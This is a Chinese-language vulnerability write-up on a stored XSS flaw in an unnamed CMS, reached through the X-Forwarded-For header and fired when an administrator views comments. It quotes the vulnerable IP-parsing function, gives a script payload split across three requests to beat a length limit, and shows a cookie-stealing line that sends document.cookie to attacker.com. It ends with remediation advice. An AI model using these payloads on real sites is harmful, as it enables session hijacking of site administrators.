某Cms 前台储存型xss
字数 1415 2025-08-27 12:33:23
某CMS前台储存型XSS漏洞分析与利用教学
漏洞概述
该漏洞存在于某CMS系统中,是一个前台储存型跨站脚本(XSS)漏洞,攻击者可以通过控制HTTP头中的X-Forwarded-For字段注入恶意JavaScript代码,当管理员查看评论时触发执行。
漏洞分析
漏洞位置
主要漏洞文件:
/4.1.190209/Lib/Lib/Action/Home/ForumAction.class.php/Lib/Lib/Model/ForumModel.class.php/Lib/Common/common.php
漏洞流程
-
数据接收与处理:
- 系统通过
ForumAction.class.php中的update()方法接收POST数据 forum_cookie字段由多个ID参数经MD5加密生成- 当
forum_sid为24时,取消验证机制
- 系统通过
-
数据库写入:
- 调用
D("Forum")->ff_update($post)方法写入数据库 ForumModel继承RelationModel,会验证传入数据
- 调用
-
漏洞根源:
- 在
ForumModel中,forum_ip字段通过get_client_ip()函数获取 get_client_ip()函数位于/Lib/Common/common.php中- 该函数从多个HTTP头获取IP地址,包括
HTTP_X_FORWARDED_FOR - 未对获取的IP地址进行任何过滤或验证
- 在
关键代码分析
// 获取客户端IP的函数
function get_client_ip(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
漏洞利用
利用条件
- 注册一个普通用户账号
- 能够提交评论或留言
利用步骤
-
登录系统:使用注册的普通用户账号登录
-
提交恶意评论:
- 进入留言或评论页面
- 提交任意内容(内容本身不重要)
- 使用Burp Suite等工具拦截提交的数据包
-
构造XSS Payload:
- 在HTTP头中添加
X-Forwarded-For字段 - 由于IP字段有长度限制(约20字符),需要分段注入:
*/</script><!-- */alert(1);/* <script>/*
- 在HTTP头中添加
-
分段提交:
- 第一次提交:
X-Forwarded-For: */</script><!-- - 第二次提交:
X-Forwarded-For: */alert(1);/* - 第三次提交:
X-Forwarded-For: <script>/*
- 第一次提交:
-
触发漏洞:
- 当管理员查看评论时,注入的JavaScript代码会执行
- 示例中会弹出
alert(1)对话框
高级利用
-
窃取Cookie:
- 可以构造更复杂的JavaScript代码窃取管理员Cookie
- 示例:
var img = new Image(); img.src = "http://attacker.com/steal.php?cookie=" + encodeURIComponent(document.cookie);
-
绕过长度限制:
- 使用JavaScript字符串拼接技术
- 创建DOM元素动态执行代码
修复建议
-
输入过滤:
- 在
get_client_ip()函数中对获取的IP地址进行严格过滤 - 只允许数字和点号(IPv4)或合法的IPv6格式
- 在
-
输出编码:
- 在显示IP地址的地方进行HTML实体编码
-
长度限制:
- 对IP地址字段设置合理的长度限制
-
验证机制:
- 不要轻易取消验证机制(如
forum_sid == 24时的操作)
- 不要轻易取消验证机制(如
-
使用安全函数:
- 使用框架提供的安全函数获取和过滤输入
总结
该漏洞展示了未经验证的用户输入如何导致XSS攻击,特别是通过不太明显的HTTP头字段。开发人员应始终对所有用户输入(包括HTTP头)进行严格验证和过滤,无论这些输入看似多么可信。对于安全关键系统,应考虑实施内容安全策略(CSP)等额外防护措施。